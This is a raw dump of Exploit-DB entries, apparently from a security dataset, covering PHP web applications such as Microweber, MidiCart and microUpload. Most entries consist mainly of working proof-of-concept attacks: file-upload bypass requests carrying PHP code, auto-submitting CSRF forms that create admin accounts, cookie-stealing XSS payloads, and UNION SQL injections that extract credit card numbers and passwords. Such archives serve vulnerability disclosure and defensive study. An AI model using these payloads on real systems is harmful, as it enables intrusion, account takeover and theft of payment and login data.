deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11466
Description: microUpload - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-15
Author: Phenom

Exploit:
------------------------------------------------------
------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \              
| |    | | | |  __/ | | | (_) | | | | | |             
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|             

                                                      
------------------------------------------------------                                                      
------------------------------------------------------

#######   microUpload Upload Shell Vulnerability   #####################
#
#       Author : Phenom
#       
#       mail : sys.phenom.sys@gmail.com
#
#       app vendor : www.phptoys.com
#
#################################################################################

####### Exploit #################################################################
#
#     1- http://site.com/path/microUpload.php
#
#         upload your shell 
#
#     2- http://site.com/path/yourshell.php
#
#         get your shell
#
#################################################################################
Exploit-DB #29476
Description: Microweber 0.905 - Error-Based SQL Injection
Type: webapps
Platform: php
Date: 2013-11-07
Author: Zy0d0x

Exploit:
===============================================================================
|                                                                             |
                         ____                     _ __
              ___  __ __/ / /__ ___ ______ ______(_) /___ __
             / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /
            /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /
                                                     /___/ team

                          PUBLIC SECURITY ADVISORY
|                                                                             |
===============================================================================


TITLE
=====

Microweber Error Based SQL Injection

AUTHOR
======

Zy0d0x


DATE
====

06/11/2013

VENDOR
======

http://microweber.com/

AFFECTED PRODUCT
================

Microweber v0.905 


DESCRIPTION
===========

Input passed via the "for_id" parameter is not properly sanitised before being processed.
This can be exploited to extract sensitive information from the database(s).
 

PROOF OF CONCEPT
================


POST /microweber/api/checkout HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/microweber/checkout
Content-Length: 352
Cookie: last_page=checkout; mw-time[PII_REDACTED]=2013-11-06+10%3A11%3A31; helpinfo=false; PHPSESSID=rtip13vkbp1jrsij39ab4isui4
Pragma: no-cache
Cache-Control: no-cache

=1&country=&first_name=test&last_name=test&email=test&phone=test&shipping_gw=shop%2Fshipping%2Fgateways%2Fcountry&for_id=shipping-info-checkout557478767[SQLI HERE]&for=module&City=test&State=test&Zip=test&Street=test&payment_gw=shop%2Fpayments%2Fgateways%2Fpaypal


IMPACT
======

Injection can result in data loss or corruption, lack of accountability, or denial of access. 
Injection can sometimes lead to complete host takeover.


THREAT LEVEL
============

Critical


STATUS
======

Fixed update to version 0.906


DISCLAIMER
==========

nullsecurity.net hereby emphasize, that the information which is published here are
for education purposes only. nullsecurity.net does not take any responsibility for
any abuse or misusage!

                Copyright (c) 2011 - nullsecurity.net
Exploit-DB #37735
Description: Microweber 1.0.3 - Arbitrary File Upload / Filter Bypass / PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2015-08-07
Author: LiquidWorm

Exploit:

Microweber v1.0.3 File Upload Filter Bypass Remote PHP Code Execution


Vendor: Microweber Team
Product web page: http://www.microweber.com
Affected version: 1.0.3

Summary: Microweber is an open source drag and drop PHP/Laravel CMS licensed
under Apache License, Version 2.0 which allows you to create your own website,
blog or online shop.

Desc: Microweber suffers from an authenticated arbitrary command execution
vulnerability. The issue is caused due to the improper verification when
uploading files in '/src/Microweber/functions/plupload.php' script. This
can be exploited to execute arbitrary PHP code by bypassing the extension
restriction by putting the dot character at the end of the filename and uploading
a malicious PHP script file that will be stored in '/userfiles/media/localhost/uploaded'
directory.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5250
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5250.php


12.07.2015

--


PoC Requests:
-------------

1.

POST /microweber-latest/plupload?token=[PII_REDACTED][PII_REDACTED][PII_REDACTED]444444444&path=media%25255Clocalhost%25255C&path=media%255Clocalhost%255Cuploaded%255C HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 319
Origin: http://localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqX83MP6Cg5JpA193
Accept: */*
Referer: http://localhost/microweber-latest/editor_tools/plupload?type=explorer&filters=*&multiple=true&autostart=undefined&mwv=1.0.3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: mwui=%7B%22%23modules-and-layouts%2C%23tab_modules%2C.tst-modules%22%3A%22true%22%7D; recommend=%7B%22logo%22%3A1%7D; back_to_admin=http%3A//localhost/microweber-latest/admin/view%3Amodules/load_module%3Afiles%23path%3Dmedia%255Clocalhost%255Cuploaded%255C%26select-file%3Dhttp%3A//localhost/microweber-latest/userfiles/media/localhost/uploaded/phpinfo.php; laravel_session=eyJpdiI6ImNYNnkyWjJkOXZyTVRDMXlcL0pKQzBRPT0iLCJ2YWx1ZSI6Ilp6QjhDYjRRMEY4NGR5RzVuZGNxSnd1V3dGQ1R6OVdaWjZrZStiT1Q2bVM3UmRoQjNrak1ORzV5bXZjbzVDSitqdVVkdzdqOFVQa2hZdWRwMlwvMSttZz09IiwibWFjIjoiNGQxYzkwOTk4YmIzNTgzNWRiZmZlOTM4N2I2MzA1NjIzODcwNWRmMWM5ZDcwN2YxMGJlZmQ2ZjUxYmMzNjVjOSJ9

------WebKitFormBoundaryqX83MP6Cg5JpA193
Content-Disposition: form-data; name="name"

phpinfo.php.
------WebKitFormBoundaryqX83MP6Cg5JpA193
Content-Disposition: form-data; name="file"; filename="phpinfo.php."
Content-Type: application/octet-stream

<?php
phpinfo();
?>
------WebKitFormBoundaryqX83MP6Cg5JpA193--



2.

GET http://localhost/microweber-latest/userfiles/media/localhost/uploaded/phpinfo.php HTTP/1.1
Exploit-DB #37734
Description: Microweber 1.0.3 - Persistent Cross-Site Scripting / Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2015-08-07
Author: LiquidWorm

Exploit:
<!DOCTYPE html>
<!--


Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit


Vendor: Microweber Team
Product web page: http://www.microweber.com
Affected version: 1.0.3

Summary: Microweber is an open source drag and drop
PHP/Laravel CMS licensed under Apache License, Version
2.0 which allows you to create your own website, blog
or online shop.

Desc: The application allows users to perform certain
actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges
if a logged-in user visits a malicious web site. Stored
cross-site scripting vulnerabilitity is also discovered.
The issue is triggered when input passed via the POST
parameter 'option_value' is not properly sanitized before
being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session
in context of an affected site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5249
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5249.php


12.07.2015


-->


<html>
  <title>Microweber v1.0.3 Stored XSS And CSRF Add Admin Exploit</title>
  <br /><br />
  <body><center>
    <form action="http://localhost/microweber-latest/api/save_user" method="POST">
      <input type="hidden" name="id" value="0" />
      <input type="hidden" name="thumbnail" value="" />
      <input type="hidden" name="username" value="Freakazoid" />
      <input type="hidden" name="password" value="00110001" />
      <input type="hidden" name="email" value="lab@zeroscience.mk" />
      <input type="hidden" name="first_name" value="Joe" />
      <input type="hidden" name="last_name" value="Black" />
      <input type="hidden" name="is_active" value="1" />
      <input type="hidden" name="is_admin" value="1" />
      <input type="hidden" name="basic_mode" value="0" />
      <input type="hidden" name="api_key" value="" />
      <input type="submit" value="CSRF Adminize" />
    </form>
  </body>
</html>

<br /><br />

<html>
  <body>
    <form action="http://localhost/microweber-latest/api/save_option" method="POST">
      <input type="hidden" name="option_key" value="website_keywords" />
      <input type="hidden" name="option_group" value="website" />
      <input type="hidden" name="option_value" value='"><img src=j onerror=confirm("ZSL")>' />
      <input type="submit" value="Store XSS" />
    </form></center>
  </body>
</html>
Exploit-DB #50768
Description: Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-21
Author: Chetanya Sharma

Exploit:
# Exploit Title: Microweber 1.2.11 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: NA
# Date: 02/17/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber
# Version: 1.2.11
# Tested on: [KALI OS]
# CVE : CVE-2022-0557
# Reference : https://huntr.dev/bounties/660c89af-2de5-41bc-aada-9e4e78142db8/

# Step To Reproduce
- Login using Admin Creds. 
- Navigate to User Section then Add/Modify Users
- Change/Add image of profile and Select a Crafted Image file 
- Crafted image file Aka A image file which craft with PHP CODES for execution  
- File Extension of Crafted File is PHP7 like "Sample.php7"

- Path of Uploaded Crafted SHELL https://localhost/userfiles/media/default/shell.php7
Exploit-DB #52058
Description: Microweber 2.0.15 - Stored XSS
Type: webapps
Platform: php
Date: 2024-07-01
Author: tmrswrr

Exploit:
# Exploit Title: Stored XSS in Microweber
# Date: 06/18/2024
# Exploit Author: tmrswrr
# Vendor Homepage: (https://microweber.me/)
# Version: 2.0.15
# Tested on: (http://active.demo.microweber.me/)

## Vulnerability Description
A Stored Cross-Site Scripting (XSS) vulnerability has been identified in Microweber version 2.0.15. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.

## Steps to Reproduce
1. Log in to the application.
2. Navigate to `Users > Edit Profile`.
3. In the `First Name` field, input the following payload:

    "><img src=x onerror=confirm(document.cookie)>

4. Save the changes.
5. Upon visiting any page where the modified user profile is displayed, an alert box will appear, indicating the execution of the injected script.
Exploit-DB #32831
Description: Microweber CMS 0.93 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-04-13
Author: sajith

Exploit:
###########################################################
[~] Exploit Title: Microweber CMS v0.93 CSRF Vulnerability
[~] Author: sajith
[~] version: Microweber CMS v0.93
[~]Vendor Homepage: http://microweber.com/
[~] vulnerable app link:http://microweber.com/download
###########################################################

[*] Application is vulnerable to CSRF.below is the POC where attacker can
use this vulnerability to create new user and assign Admin role to the user


<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="
http://127.0.0.1/cms/microweber-0.9343/microweber-master/api/save_user"
id="formid" method="post">
<input type="hidden" name="id" value="0" />
<input type="hidden" name="thumbnail" value="" />
<input type="hidden" name="username" value="test1" />
<input type="hidden" name="password" value="mypassword" />
<input type="hidden" name="email" value="test@testing.com" />
<input type="hidden" name="first_name" value="abc" />
<input type="hidden" name="last_name" value="xyz" />
<input type="hidden" name="is_active" value="y" />
<input type="hidden" name="is_admin" value="y" />
<input type="hidden" name="basic_mode" value="n" />
<input type="hidden" name="api_key" value="1234" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>
Exploit-DB #35720
Description: Microweber CMS 0.95 - SQL Injection
Type: webapps
Platform: php
Date: 2015-01-07
Author: Pham Kien Cuong

Exploit:
# Exploit Title: SQL Injection in Microweber CMS 0.95
# Google Dork: N/A
# Date: 12/16/2014
# Exploit Author: Pham Kien Cuong (cuong.k.pham@itas.vn) and ITAS Team (www.itas.vn)
# Vendor Homepage: Microweber (https://microweber.com/)
# Software Link: https://github.com/microweber/microweber
# Version: 0.95
# Tested on: N/A
# CVE : CVE-2014-9464

::PROOF OF CONCEPT::

GET /shop/category:[SQL INJECTION HERE] HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target/shop
Cookie: mw-time546209978=2015-01-05+05%3A19%3A53; PHPSESSID=48500cad98b9fa857b9d82216afe0275
Connection: keep-alive

::REFERENCE::
- http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerability-in-microweber-cms-69.html
- https://www.youtube.com/watch?v=SSE8Xj_-QaQ
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9464

::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.
Exploit-DB #50947
Description: Microweber CMS 1.2.15 - Account Takeover
Type: webapps
Platform: php
Date: 2022-06-03
Author: Manojkumar J

Exploit:
# Exploit Title: Microweber CMS 1.2.15 - Account Takeover
# Date: 2022-05-09
# Exploit Author: Manojkumar J
# Vendor Homepage: https://github.com/microweber/microweber
# Software Link: https://github.com/microweber/microweber/releases/tag/v1.2.15
# Version: <=1.2.15
# Tested on: Windows10
# CVE : CVE-2022-1631

# Description:

Microweber Drag and Drop Website Builder E-commerce CMS v1.2.15 Oauth
Misconfiguration Leads To Account Takeover.

# Steps to exploit:

1. Create an account with the victim's email address.

Register endpoint: https://target-website.com/register#

2. When the victim tries to login with default Oauth providers like Google,
Github, Microsoft, Twitter, Linkedin, Telegram or Facebook etc(auth login)
with that same e-mail id that we created account before, via this way we
can take over the victim's account with the recently created login
credentials.
Exploit-DB #30786
Description: Middle School Homework Page 1.3 Beta 1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
Middle School Homework Page V1.3 Beta 1  - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://sourceforge.net/projects/mshwpage/
####################################################################

I. Sql Injection

##############
VULNERABILITY
##############
/view.php (line 3-4)
-----------------------------------------------------------------------------

<h2>Homework for <?php get_array("select * from class where
classID=$_REQUEST[class]", 'classDesc') ?> as of <?php $today = date("M j
G:i:s T Y");echo $today; ?>:</h2>
<?php

-----------------------------------------------------------------------------

#########
EXPLOIT
#########
(
localhost/mshwpage/view.php?class=null+and+1=2+union+select+1,concat(name,0x3a,pass)+from+teachinfo


II. Cross Site Scripting

localhost/mshwpage/view.php?class=<script>alert(document.cookie);</script>

####################################################################
Exploit-DB #25620
Description: MidiCart PHP - 'Item_List.php?MainGroup' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13518/info

MidiCart PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/shop/item_list.php?maingroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E
Exploit-DB #25615
Description: MidiCart PHP - 'Item_List.php?MainGroup' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13513/info

MidiCart PHP is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect both the PHP and ASP versions of MidiCart Shopping Cart. 

http://www.example.com/shop/item_list.php?maingroup=-99 'UNION SELECT null, null, CreditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment

http://www.example.com/path/item_list.asp?maingroup=[SQL INJECTION]
Exploit-DB #25619
Description: MidiCart PHP - 'Item_List.php?SecondGroup' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13517/info

MidiCart PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/shop/item_list.php?secondgroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E
Exploit-DB #25616
Description: MidiCart PHP - 'Item_List.php?SecondGroup' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13514/info

MidiCart PHP is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect both the PHP and ASP versions of MidiCart Shopping Cart.

http://www.example.com/shop/item_list.php?secondgroup=-99 'UNION SELECT null, null, creditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment

http://www.example.com/path/item_list.asp?maingroup=Something&secondgroup=[SQL INJECTION]
Exploit-DB #25617
Description: MidiCart PHP - 'Item_Show.php?Code_No' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13515/info

MidiCart PHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/shop/item_show.php?code_no=99 ') UNION SELECT null, null, CreditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment
Exploit-DB #25618
Description: MidiCart PHP - 'Search_List.php?SearchString' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13516/info

MidiCart PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/shop/search_list.php?chose=item&searchstring=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E
Exploit-DB #25614
Description: MidiCart PHP - 'Search_List.php?SearchString' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-05
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/13512/info

MidiCart PHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/shop/search_list.php?chose=item&searchstring=a%' UNION SELECT null, null, CreditCard, ExpDate, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment
Exploit-DB #21896
Description: Midicart PHP - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2002-10-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5855/info

A problem with the default installation of Midicart PHP may make it possible for remote users to gain access to sensitive information.

The default installation of Midicart PHP does not place sufficient access control on files residing in the 'admin' folder. Due to this lack of access control, it is possible for a remote attacker to gain access to this file and upload arbitrary files to a vulnerable system.

http://<site>/admin/upload.php